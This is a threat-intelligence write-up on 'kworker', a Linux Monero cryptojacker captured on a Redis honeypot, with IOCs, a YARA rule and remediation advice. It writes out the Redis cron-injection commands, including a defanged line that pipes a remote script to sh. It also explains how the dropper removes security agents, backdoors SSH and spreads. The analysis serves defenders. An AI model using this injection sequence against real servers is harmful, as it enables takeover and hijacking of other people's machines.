malware · cryptomining · redis · linux · honeypot · monero · 8220-gang · xmrig · worm
Kworker: The Cryptominer That Brings Its Own Uninstaller
Kinryū Labs caught an 8220-lineage cryptojacker turn an open, password-less Redis port into a root shell in about five seconds. The dropper, a 636-line shell script called kworker, uninstalls Alibaba and Tencent cloud security agents with the vendors' own tools, spends 200 lines killing rival miners, backdoors SSH, hides an XMRig Monero miner behind fake ps, top and pstree, and tries to worm onward.
By Davis Zheng·
TLP:CLEAR. Cleared for public release. Captured by the Kinryū Labs honeypot sensor network. Indicators below are defanged.
Executive summary
- ~5sopen Redis port to four root cron backdoors
- 636lines of bash, a full host-takeover kit
- 2vendor uninstallers carried base64-encoded inside
- 80+rival miners on the kill-list
At six minutes past midnight UTC, something opened a connection to the Redis port on one of our honeypots, ran a single INFO to see what it was talking to, and hung up. Two seconds later it came back and got to work. By the time it disconnected, five seconds in all, it had rewritten the server’s cron table four different ways and pointed every one of them at the same file: a shell script called kworker.
We never let it run. The honeypot grabs the payload, hashes it, and files it away; the box itself stays clean. So what we are left with is the script in full, all 636 lines, and a complete recording of the break-in. Read together they make a clean cross-section of where commodity Linux cryptojacking has landed in 2026, and kworker is a good specimen, because it does nearly everything the genre has ever invented. It also does one thing with a completely straight face: it uninstalls your antivirus using the antivirus vendor’s own uninstaller.
- Commodity cryptojacking of the 8220 Gang / kworkerds lineage, opportunistic and untargeted (medium confidence). The Redis delivery, the renamed download tools, the
/etc/javaelock-file, and the huge kill-list are all hallmarks of the family. We hold at medium, and no higher, because this is widely forked code that crews pass around and re-sell, so the name points at a lineage, not a single author. - The objective is Monero mining (high confidence). The script's whole purpose is to fetch and launch
javae, an XMRig build, after enabling huge pages for it. Everything else exists to clear the field and keep the host. - Mature, well-used software, not somebody's weekend project (high confidence). The break-in's own cron lines call
cd1andwd1, tools that only exist after kworker installs. The kit already assumes itself, which is the mark of code that has been in circulation a while. - The missing wallet is deliberate (high confidence). The script holds no Monero address and no pool; both live in the miner binary, which we did not recover. The one detail that would tie this crew's campaigns together is exactly the one they keep off the script, the same wall we hit on RedTail.
FLUSHALL, then four ways into cron
Redis left open to the internet with no password has been a one-line root shell for years, and the technique here is the old reliable one. Set a database key whose value is a cron job. Tell Redis to save its database into the cron folder. Call SAVE. Redis writes its database to disk, your fake cron job included, and a minute later cron runs it as root. Our visitor fingerprinted the server, checked it could write a file, turned off the safety that stops a failed save, and ran the trick.
# what the visitor sent to Redis (abbreviated, defanged)
SET backup1 "*/2 * * * * cd1 -fsSL hxxps://download.logltech[.]workers[.]dev/up/down/api/kworker | sh"
CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SAVE
The whole intrusion fits in a handful of seconds:
- 00:06:00 UTCConnect, send a single
INFOto fingerprint the server, disconnect. - +2 secondsReconnect. Set four keys, each holding a cron line.
CONFIG SET dirto the cron folder,CONFIG SET dbfilenameto the target cron file, disable stop-writes-on-bgsave-error, thenSAVE. - +5 seconds totalDisconnect. The honeypot has the full payload and the full recording; the box stays clean.
- +1 minuteOn a real host, cron runs the planted line as root and pulls
kworker.
What is worth slowing down for is the redundancy. It did not write one cron job; it wrote the same instruction into four places, /var/spool/cron/root, /var/spool/cron/crontabs, /etc/cron.d/javae, and /etc/crontab, covering both the Red Hat and Debian layouts and both cron syntaxes. Each line pulled kworker with a different tool, cd1, wget, curl, wd1, on a staggered two, three, four, five minute schedule. Two of those names are not real programs. cd1 and wd1 are what kworker renames curl and wget to once it is installed. The break-in already assumes the script it is about to download. The whole kit is internally consistent, which is how you know it is mature, well-used software and not somebody’s weekend project.
Bring your own uninstaller
The moment it has root, kworker starts taking the building apart. Firewall flushed, ufw off, SELinux dropped to permissive and then disabled in its config, AppArmor stopped, the kernel’s NMI watchdog switched off, which matters because a miner pegs the CPU at one hundred percent for weeks and the watchdog is one of the few things that might notice. /var/log/syslog is deleted outright.
Then it goes looking for cloud security agents, and here the script stops being ordinary. The big Chinese cloud providers ship a host agent on their VMs: Alibaba’s Aegis, which you will see running as AliYunDun; Tencent’s YunJing; Huawei’s HostGuard. kworker checks for each. Where it finds Alibaba’s, it does not just kill the process. It runs Alibaba’s official uninstaller, and to make sure that works even on a box with no route back to Alibaba, it carries two of Alibaba’s uninstall scripts base64-encoded inside itself. We decoded both. They are the genuine article, kprobe tracing teardown and all.
It removes your endpoint protection cleanly, the way the vendor intended, and leaves the logs tidy.
That is not improvisation. Somebody sat in front of a real Aliyun box, lifted the uninstallers, and built them in.
A turf war, written in bash
If you have never read one of these scripts, what surprises you is how much of it is aimed at other criminals. A miner’s real enemy is the next miner trying to rent the same CPU, not the sysadmin. kworker spends roughly two hundred lines hunting competitors, and it kills by every handle it can get.
- By process name, from a blocklist of more than a hundred:
xmrig,kinsing,kdevtmpfsi, thewatchdogsandwatchbogfamily,ddg,sustes, and the olderkworkerdsits own name descends from. - By port, the ones mining pools and IRC bots sit on.
- By hard-coded IP address.
- By CPU, the blunt instrument: anything burning more than 40 percent of the processor under a name it does not recognise gets killed, on the logic that an unknown process eating the CPU is, by definition, a rival miner.
It deletes their files out of /tmp and /dev/shm, strips their cron jobs, removes the preload rootkits some of them install, and reaches into Docker to kill and delete known mining images. This is the same land-grab we documented in RedTail’s clean script and in Rootpacket’s killservice.sh; these crews are all fighting over the same misconfigured boxes, and they all open with a sweep of the field.
It is also, specifically and repeatedly, rude to TeamTNT, undoing the curl and wget renames TeamTNT does and wiping its directories. Where it kills Kinsing it overwrites the file with the word fuckyou and locks it so Kinsing cannot put itself back. There is no honour here, only a land grab, and kworker plays it harder than most.
Read the list closely and it turns into a catalogue of how the competition hides. One cluster of targets poses as kernel threads, kacpi_svc, kswap_svc, kthreadd_svc, ksoftirqd_svc; another poses as system daemons, polkitd, acpid, dbus-daemon--system, and systemctI with a capital I where the L should be. kworker is hunting the exact disguises its rivals wear, which are the same disguises it reaches for a few lines later when it hides javae among names like systemd-network and irqbalanced. Everyone in this fight is dressed as boring system noise, and everyone has memorised everyone else’s costume.
A few targets are not names at all. One is L2Jpbi9iYXN, the leading base64 of a /bin/bash command. kworker greps the process table for that encoded prefix, catching a rival’s loader by the base64 blob sitting in its command line.
The whole list runs long, more than a hundred ways to name a process you want dead, and it is worth skimming once just for the texture of the feud:
The full kill-list, pulled from the captured script
Lifted from kill_miner_proc, kill_sus_proc, and the Docker sweep. Everything here is a target kworker hunts, not its own infrastructure. IPs are defanged.
Ports it kills any process on (mining pools, IRC bots, RATs, alternate SSH and Telnet): 23, 143, 2222, 3333, 3347, 3389, 5555, 6665, 6666, 6667, 7777, 8444, 10008, 13531.
Recognisable miner and botnet families: xmrig, xmrig-cpu, xmrig-notls, xmr-stak, mstxmr, cnrig, minerd, minergate, cryptonight, crypto-pool, moneroocean, kinsing, kdevtmpfsi, kworkerds, kworker34, watchdogs, watchd0g, watchbog, ddg, ddg.2011, sustes, sustse, sustse3, kthrotlds, ksoftirqds, tntrecht (TeamTNT), nanoWatch, sourplum, disk_genius, biosetjenkins, nullcrew.
Rivals hiding as kernel threads: kacpi_svc, kswap_svc, kauditd_svc, kpsmoused_svc, kseriod_svc, kthreadd_svc, ksoftirqd_svc, kintegrityd_svc, kblockd_svc, native_svc.
Rivals hiding as system daemons: polkitd, acpid, dbus-daemon--system, irqbalance, irqbalanc1, crond64, nginxk, vmlinuz, systemctI (capital i, not systemctl), systemten, systemxlv, svcupdate, netdns, netns, redis2, rsync, httpgd, haveged, voltuned, nqscheduler.
Other named payloads, scripts and per-campaign markers: apaceha, apachiii, mixnerdx, mixtape, performedl, conns, mgwsl, pythno, jweri, lx26, i586, gddr, askdljlqw, ysaydh, bonns, donns, kxjd, nopxi, deamon, zigw, devtool, devtools, suppoie, exin, xr, jawa, ynn, servim, darwin, sysstats, Loopback, XJnRj, NXLAi, BI5zj, icb5o, wnTKYg, 2t3ik, qW3xT.2, hahwNEdB, CnzFVPLF, CvKzzZLs, OIcJi1m, IOFoqIgyC0zmf2UR, 65ccEJ7, jmxx, 2Ne80nA, C4iLM4L, Guard.sh, Duck.sh, bonn.sh, conn.sh, kw.sh, pro.sh, mr.sh, 2mr.sh, cr5.sh, he.sh, miner.sh, l.sh, z3.sh, lower.sh, ndt.sh, logo9.jpg, oracle.jpg, init10.cfg, init12.cfg, j2.conf, zer0day.ru, gitee.com.
Obfuscated launchers and dropped configs: ./ppp, ./vsp, ./jvs, ./pvv, ./vpp, ./pces, ./rspce, ./jiba, ./haveged, ./watchbog, ./servceaess and its misspelt twins, mwyumwdbpq.conf, honvbsasbf.conf, mqdsflm.cf, /wl.conf, wc.confz, plus the base64 cradle marker L2Jpbi9iYXN (the start of a /bin/bas... one-liner).
Competitor pool and C2 IPs it shoots on sight: 45.76.122[.]92, 51.38.191[.]178, 51.15.56[.]161, 104.248.4[.]162, 89.35.39[.]78, 107.174.47[.]156, 107.174.47[.]181, 83.220.169[.]247, 51.38.203[.]146, 144.217.45[.]45, 176.31.6[.]16, 46.243.253[.]15, 200.68.17[.]196, 188.209.49[.]54, 181.214.87[.]241, 121.42.151[.]137.
Docker images and containers it kills and deletes: containers named pocosow, gakeaws, azulu, auto, xmr, mine, slowhttp, bash.shell; image references pocosow, gakeaws, buster-slim, hello-, azulu, registry, xmr, monero, mine, slowhttp.
And the blunt instrument: anything over 40 percent CPU that does not match javae is killed, as is anything over 10 percent whose name looks like a bracketed kernel thread, anything running out of /tmp, and any process with a suspiciously long name.
Now you don’t see it
Having cleared the field, it hides its own player. It replaces ps, top, and pstree with two-line wrappers that call the real binaries and quietly filter out any line mentioning the miner (javae) or the scanner it ships (pnscan), then backdates the fakes to 2016 so they do not look new. Run ps on an infected box and the miner is simply not in the list.
The miner is named to vanish into a process table anyway: javae sitting beside lock-files planted under names like systemd-network, irqbalanced, and kswaped, every one chosen to read as boring system noise.
A key, and a way to the neighbours
Two more moves finish the takeover.
It writes the operator’s SSH public key, whose comment is just uc1, into root’s authorized_keys and makes the file immutable, so noticing it is not enough; you have to clear the immutable bit before you can even delete it. That is hands-on access that outlives the miner being cleaned up.
Then it tries to spread. It reads root’s known_hosts, the list of every machine this box has logged into, and attempts to SSH to each one using the keys already lying on disk, running a one-liner on anything that lets it in that pulls kworker from the backup address and starts the whole story over. It is not a fast worm and it leans on password-less keys being left around, but on the kind of fleet where they usually are, that is plenty.
The miner, and the wallet we didn’t get
For all that machinery, the actual earner is dull: a second file, javae, an XMRig build that mines Monero. kworker switches on huge pages (vm.nr_hugepages set to 128, a standard XMRig speed-up), drops javae into /etc, and runs it.
Here is the gap in this report. We do not have javae, and we do not have the wallet. The script holds no Monero address and no pool; those are baked into the miner binary, which is fetched at run time, and the C2 did not serve it to any of the public sandboxes that have looked at this sample, so there is nothing to take apart passively. Anyone analysing kworker on its own hits the same wall. The wallet is the one thing that would tie this crew’s campaigns together, and it is exactly the thing they keep off the script.
Hosted on Cloudflare, on purpose
Both the script and the miner come from download.logltech[.]workers[.]dev, a Cloudflare Workers address, and that is a deliberate choice. Workers is free, it is HTTPS by default, it borrows Cloudflare’s reputation so it sails past domain blocklists, and it hides whatever origin the operator actually controls. Our honeypot never saw a real server; it only ever saw Cloudflare.
The backup channel, used by the worm, is tutorial.clashverge[.]space, registered in late February. Every other IP address hard-coded in the script belongs to a competitor it wants dead, scattered across Vultr, OVH, and DigitalOcean boxes and one Alibaba Cloud host in Hangzhou, not to this operator at all. Read the hard-coded IPs as a target list, not as infrastructure.
Whose is it?
Carefully, then. This is commodity cryptojacking from the lineage usually filed under 8220 Gang, or kworkerds. The tells are all present: the Redis cron-injection delivery, the curl-to-cd1 rename, the /etc/javae lock-file, the pnscan spreader, the enormous kill-list. The antivirus engines cannot agree on a name, which is itself the point. ClamAV calls it Rocke, Rising tags it TeamTNT, the rest just say CoinMiner. These scripts are copied, merged, and resold across half a dozen crews, and kworker kills several of the families it is related to.
Treat the family as a neighbourhood, not a fingerprint.
The focus on Chinese cloud agents, and a Windows PowerShell sibling that VirusTotal links to the same sample, fill in the picture, but the safe statement is the modest one. Widely forked, financially motivated, not targeted, and not new. Medium confidence, and comfortable there.
Indicators of compromise
Network
| Indicator | Context |
|---|---|
download.logltech[.]workers[.]dev | C2 (primary), Cloudflare Workers. Serves /up/down/api/{kworker, javae, cb.txt} |
tutorial.clashverge[.]space | C2 (backup), used by the worm. Registered 27 Feb 2026 |
170.9.225[.]197 | Source IP that hit the Redis honeypot |
*.workers.dev host + GET under /up/down/api/ | Payload-fetch pattern worth a hard look on the wire |
Files (SHA-256 / MD5)
| File | SHA-256 | MD5 |
|---|---|---|
kworker (dropper) | 7420e819e6cf6d7608e475468ae0160185fe7eed0b5b4129aad3e8dabc776e30 | 501ec2da3039ebe4ca379f663232176a |
javae (XMRig miner) | not recovered, expected 5,685,096 bytes |
SSH backdoor key: comment uc1, public-key fingerprint SHA256:VG0G5YwuzVAQW5JrC9RukA6Pynj3AwnFhWPCKp6TfVY. Hunt for it in authorized_keys across the estate.
Host artifacts
| Path | Context |
|---|---|
/etc/kworker, /etc/javae, /etc/cron.d/javae, /tmp/{kworker,javae} | Dropped files |
/usr/bin/cd1 (was curl), /usr/bin/wd1 (was wget) | Renamed download tools |
/bin/ps.original, /bin/top.original, /bin/pstree.original | Real binaries saved behind trojanised wrappers |
/usr/bin/{kswaped, pamdicks, ip6network, irqbalanced, rctlcli, systemd-network} | Immutable, single-digit name-lock files |
vm.nr_hugepages = 128 | Huge pages enabled for XMRig |
Behavioural
- A
ps,top, orpstreethat is actually a shell script piping throughgrep -v. - An
authorized_keysyou did not write, ending in the commentuc1. - Cron jobs running
sh /etc/kworkerorsh /tmp/kworker, and an/etc/cron.d/javaethat should not exist. - Immutable, single-digit files at
/usr/bin/kswapedand its friends. - A
curlandwgetthat have been renamed tocd1andwd1. vm.nr_hugepagesquietly set to 128.
Detection
The host-side giveaways are loud once you know them, and they are listed above. On the wire, anything resolving a *.workers.dev host and asking for paths under /up/down/api/ deserves a hard look. Here is a YARA rule that fires on the stable strings. It carries the live strings on purpose, for detection.
rule kworker_cryptojacker_sh
{
meta:
description = "Linux kworker/javae cryptojacking installer (Redis XMRig dropper)"
author = "Kinryu Labs honeypot CTI"
reference = "7420e819...776e30" // full SHA-256 in the IOC table
tlp = "CLEAR"
strings:
$c2_1 = "download.logltech.workers.dev" ascii
$c2_2 = "tutorial.clashverge.space" ascii
$api = "/up/down/api/kworker" ascii
$lock = "/etc/javae" ascii
$miner = "miner_size=\"5685096\"" ascii
$ren1 = "mv /usr/bin/curl /usr/bin/cd1" ascii
$ren2 = "mv /usr/bin/wget /usr/bin/wd1" ascii
$bin1 = "/usr/bin/pamdicks" ascii
$bin2 = "/usr/bin/kswaped" ascii
$bin3 = "/usr/bin/rctlcli" ascii
$fn1 = "kill_miner_proc" ascii
$fn2 = "download_file_if_needed" ascii
$hide = "javae\\|pnscan" ascii
$ssh = "9p8zIVKLUHMUNC9mKqPljzxH" ascii // fragment of the uc1 key
condition:
filesize < 256KB and (
$ssh or any of ($c2_1, $c2_2) or
($api and $lock) or
($miner and 1 of ($ren1, $ren2)) or
(2 of ($bin1, $bin2, $bin3) and 1 of ($fn1, $fn2, $hide))
)
}
What this should change
None of this is sophisticated, and that is the lesson. kworker got in because a Redis port was open with no password, a 2018 mistake that still pays out in 2026. Everything after that, the EDR removal and the rootkit and the worm, only mattered because the front door was unlocked.
- Do not expose Redis, or any datastore, to the internet, and make it require auth. Treat one open service as a whole-host compromise, not a single-service one.
- Watch cron and
authorized_keyslike production code, because to an attacker that is exactly what they are. - Do not treat the cloud agent on the box as a safety net. kworker’s first instinct was to walk up and uninstall it, politely, with the vendor’s own tools.
MITRE ATT&CK mapping
| Tactic | Technique |
|---|---|
| Initial Access | T1190 Exploit Public-Facing Application (Redis) |
| Execution | T1059.004 Unix Shell |
| Persistence | T1053.003 Cron; T1098.004 SSH Authorized Keys |
| Defense Evasion | T1562.001 Impair Defenses: Disable or Modify Tools (cloud-agent and EDR uninstall); T1562.004 Disable or Modify System Firewall; T1070.002 Clear Linux or Mac System Logs; T1014 Rootkit (trojanised ps/top/pstree); T1036.005 Masquerading: Match Legitimate Name; T1222.002 Linux File and Directory Permissions Modification (chattr +i); T1070.006 Timestomp (backdated fakes) |
| Discovery | T1057 Process Discovery (rival hunting); T1518.001 Security Software Discovery (cloud agents); T1046 Network Service Scanning (pnscan) |
| Lateral Movement | T1021.004 Remote Services: SSH; T1570 Lateral Tool Transfer |
| Command and Control | T1071.001 Web Protocols; T1102 Web Service (Cloudflare Workers); T1105 Ingress Tool Transfer |
| Impact | T1496 Resource Hijacking (Monero mining) |
Methodology and analyst notes
- Analysis was static and passive. The dropper was never executed and no attacker infrastructure was ever contacted. Findings come from reading the captured 636-line script in full, decoding the embedded base64 uninstallers, and reviewing the recorded Redis session.
- Indicators above are defanged. The YARA rule contains the live strings by design, for detection.
- We do not have the stage-2 miner (
javae) or the Monero wallet. The script carries neither; both live in the miner binary, which is fetched at run time and which the C2 did not serve to public sandboxes. Recovering the wallet would need a live detonation with a network capture, which we did not perform. - Samples (the dropper and the decoded uninstallers) are available to other researchers and defenders on request. Email [email protected] with a short note on who you are and what you need them for.